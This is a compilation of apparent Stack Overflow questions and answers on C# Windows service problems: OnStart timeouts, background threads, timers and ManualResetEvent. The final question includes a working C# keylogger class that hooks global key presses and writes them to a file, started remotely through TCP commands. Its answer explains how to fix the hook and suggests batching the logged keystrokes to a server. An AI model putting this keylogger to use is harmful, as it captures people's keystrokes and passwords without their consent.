I am dabbling with Windows services.
From what I've read and the tutorials I've covered (one example) I see that all the work must be done in the OnStart method of the service.
As far as I understand it (from the only tutorials I was able to find, which were completely basic) after the OnStart method returns the service can't do anything if you haven't, somehow, configured it in the method.
I saw the use of timers in said method to trigger events every X seconds but what I am looking for is to detect window focus changes (when a program tries to bring its window to the front). The solution in this answer works perfectly when I try it in a console application but I want to use it in my service.
However, simply registering the eventhandler in the OnStart method does not work - it doesn't get triggered and has no effect. I tried putting a timer just to keep the OnStart method going but that didn't help, either - the timer was running and it was doing work each tick but the eventhandler never fired (I put a File.AppendText for each timer tick and each time the handler fires but in the text file I used as a control only the timer ticks were appended).
Lastly, I tried running a Task (by using Task.Run to create a new thread) which ran an endless loop in a separate method from OnStart but that just made the service start hang as it went on and on.
Code:
protected override void OnStart(string[] args)
{
File.WriteAllText("file.txt", "START");
eventLog.WriteEntry("Entered OnStart method.");
// Update the service state to "Start Pending".
ServiceStatus serviceStatus = new ServiceStatus
{
dwCurrentState = ServiceState.SERVICE_START_PENDING,
dwWaitHint = 100000
};
SetServiceStatus(this.ServiceHandle, ref serviceStatus);
eventLog.WriteEntry("Start Pending.", EventLogEntryType.Information);
// Update the service state to "Running".
serviceStatus.dwCurrentState = ServiceState.SERVICE_RUNNING;
SetServiceStatus(this.ServiceHandle, ref serviceStatus);
eventLog.WriteEntry("Running.", EventLogEntryType.Information);
Task.Run(KeepBusy());
}
private static Action KeepBusy()
{
Automation.AddAutomationFocusChangedEventHandler(OnFocusChangedHandler);
while (true)
{
Thread.Sleep(1000);
}
}
In short - if I correctly understand services can only perform work in the OnStart method I am disgusted at how stupid this seems and can't figure out how to make a "listener" service
Related
Error 1053: windows service not start timely fashion
I have set up my service exactly how it was shown in countless online tutorials, but my OnStart method still doesn't seem to be getting called at all. This process is supposed to run and then loop infinitely and constantly check a server for commands to run. Here's my Main:
static void Main(string[] args)
{
ServiceBase[] ServicesToRun;
ServicesToRun = new ServiceBase[]
{
new AgentService(args)
};
ServiceBase.Run(ServicesToRun);
}
Here's what my service constructor and OnStart look like:
public AgentService(string[] args)
{
InitializeComponent();
this.Args = new ServiceArguments();
this.ValidArgs = this.Args.SetArgs(args);
this.AgentCycle = Int32.Parse(Args.Cycle);
}
protected override void OnStart(string[] args)
{
ServiceStatus serviceStatus = new ServiceStatus
{
dwCurrentState = ServiceState.SERVICE_START_PENDING,
dwWaitHint = 100
};
this.CimCommands = new Dictionary<string, CimCommand>();
SetServiceStatus(this.ServiceHandle, ref serviceStatus);
serviceStatus.dwCurrentState = ServiceState.SERVICE_RUNNING;
SetServiceStatus(this.ServiceHandle, ref serviceStatus);
if (this.ValidArgs)
RunAgent();
}
I am handing in args via the command line, but if none are given, I am using environment variables. All are present on my machine so I can't understand why my service is not starting in a "timely manner". I only have 2 extra dependencies. One is Newtonsoft.Json, the other is RestSharp.
I've also tried writing it as a console app using TopShelf, but I had the same error that way. The logic is all sound, I've already tested my methods. Any ideas?
EDIT: okay, here's the best way to explain the goal of this service... The service is supposed to call an api/server every 5 seconds and then receive a json that tells it what command to run on the windows machine. once it finishes all those commands, it asks the server again if there is any work to complete and it starts all over. The custom types are simply json_objects to use with Newtonsoft and the Service Arguments is just an object with 5 string values, and 1 bool. And then functions for parsing the arguments from either the cmd line, environment variables, or a config file.
Yes, there is most definitely an infinite loop in the function being called from RunAgent.
While RunAgent() does not return, OnStart() does not. When OnStart() does not return, the Service Manager will just kill the process because "it takes to long to start". Do not put infinite loops into the OnStart Function!
For once the message is exactly what it says. It also does exactly waht it is there for (getting you to fix your faulty code). For polling you need something like a Timer that you start in "onStart()". Maybe a seperate Background Task or Thread. Not a custom loop you block OnStart() with.
As the title says, I'm trying to start a service created at run-time, but I always end-up getting the 'timeout' exception, as the service status does not change to Running and hangs on Starting forever.
Here's my StartService() function:
private void StartService()
{
ServiceController service = new ServiceController(serviceName);
try
{
SaveProject();
if (!CheckServiceExist(serviceName))
CreateService();
TimeSpan timeout = TimeSpan.FromMilliseconds(30000);
service.Start();
service.WaitForStatus(ServiceControllerStatus.Running, timeout);
}
catch (Exception ex)
{
Trace.Writeline(ex.ToString());
}
}
I can confirm that CreateService() is doing what is supposed to do flawlessy.
When I call from Visual Studio (2013) the first time, it occurs as described. BUT, when I run again, it works like a charm! When I run outside Visual Studio, it hangs on Starting and I can't either Start or Stop it through Windows Task Manager nor Windows Services.
I'm using WCF and Windows Service, and the StartService() is called from a button Command, if that helps at all. Thanks in advance.
Please take a look at this MSDN page.
Under Setting Service Status you will find "If a service takes a little while to start up, it might be helpful to report a Start Pending status". There is a detailed explanation how to tell the windows service manager that your service is still in startup process and avoid a timeout.
// Update the service state to Start Pending.
ServiceStatus serviceStatus = new ServiceStatus();
serviceStatus.dwCurrentState = ServiceState.SERVICE_START_PENDING;
serviceStatus.dwWaitHint = 100000;
SetServiceStatus(this.ServiceHandle, ref serviceStatus);
But this will only help if the timeout is really the problem on your service implementation.
I have been trying to modify an app developed by other in past ...
this app does online trading ( using api developed for C#)..so basically i have the app structure where i set few configuration paramter which user can check or uncheck and there is start and stop button
on clicking start button..i am creating a thread by passing function which will do all aping and other stuff and assigning it to main form class
betbot _mybot = this; # mybot is form class
this.main_thread = new Thread(new ThreadStart(_mybot.aping_function);
this.main_thread.Start();
and on clicking stop button,,,app is simply suspending the thread
this.main_thread.Suspend()
now the app stops and only way to resume the app function (aping) is to press start button and relaunch thread..
As a new feature , i want this thread to stop and restart automatically ..every time it hits certain stop loss and start over...but i couldn't do it
what i have tired is ManualResetEvent as following
private static ManualResetEvent mrse = new ManualResetEvent(true);
when certain event matches in aping_function method i do mrse.reset() and mrse.set()..but that seems to have not effect( not restarting completely)
if (stop_loss_condition_met)
{
this.Print1("Bot Is stopped Automatically");
mrse.Reset();
this.Print1("Bot Is re-started Automatically");
mrse.Set();
}
how can i achieve this
You should add a call of the WaitOne method at the place where your worker thread should stop.
mrse.WaitOne()
at the next time when external code reset it by call
mrse.Reset()
the execution will be stopped and thread will go to sleep at point
mrse.WaitOne()
until external code call Set method of the ManualResetEvent
mrse.Set()
I want to create a windows service that performs some really long and heavy work. The code is inside OnStart method like this:
protected override void OnStart(string[] args)
{
System.IO.File.WriteAllText(
#"C:\MMS\Logs\WinServiceLogs.txt",
DateTime.Now + "\t MMS Service started."
);
this.RequestAdditionalTime(5*60*1000);
this.RunService();
}
this.RunService() sends a request to WCF service library hosted on IIS. It does some really long processes, ranging from 1-20 min, depending on the data it has to process. This service that I'm writing is supposed to be scheduled to run every day in the morning. So far, it runs and works fine, but when the time goes over a few seconds or min, it generates timeout exception. This causes the windows service to be in unstable state, and I can't stop or uninstall it without restarting the computer. Since, I'm trying to create an automated system, this is an issue.
I did do this.RequestAdditionalTime(), but I'm not sure whether it's doing what it's supposed to or not. I don't get the timeout error message, but now I don't know how to schedule it so it runs every day. If the exception occurs, then it won't run the next time. There were several articles and SO's I found, but there's something I'm missing and I can't understand it.
Should I create a thread? Some articles say I shouldn't put heavy programs in OnStart, where should I put the heavy codes then? Right now, when the service starts, it does this huge data processing which makes the Windows Service status to "Starting", and it stays there for long time until either the program crashes due to timeout, or completes successfully. How can I start the service, then set the status to Running while the code is running to do some data processing?
Your situation might be better suited for a scheduled task as Lloyd said in the comments above. But if you really want to use a Windows service, this is what you would need to add/update in your service code. This will allow your service to list as started and not timeout on you. You can adjust the timer length to suit your needs.
private Timer processingTimer;
public YourService()
{
InitializeComponent();
//Initialize timer
processingTimer = new Timer(60000); //Set to run every 60 seconds
processingTimer.Elapsed += processingTimer_Elapsed;
processingTimer.AutoReset = true;
processingTimer.Enabled = true;
}
private void processingTimer_Elapsed(object sender, ElapsedEventArgs e)
{
//Check the time
if (timeCheck && haventRunToday)
//Run your code
//You should probably still run this as a separate thread
this.RunService();
}
protected override void OnStart(string[] args)
{
//Start the timer
processingTimer.Start();
}
protected override void OnStop()
{
//Check to make sure that your code isn't still running... (if separate thread)
//Stop the timer
processingTimer.Stop();
}
protected override void OnPause()
{
//Stop the timer
processingTimer.Stop();
}
protected override void OnContinue()
{
//Start the timer
processingTimer.Start();
}
I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.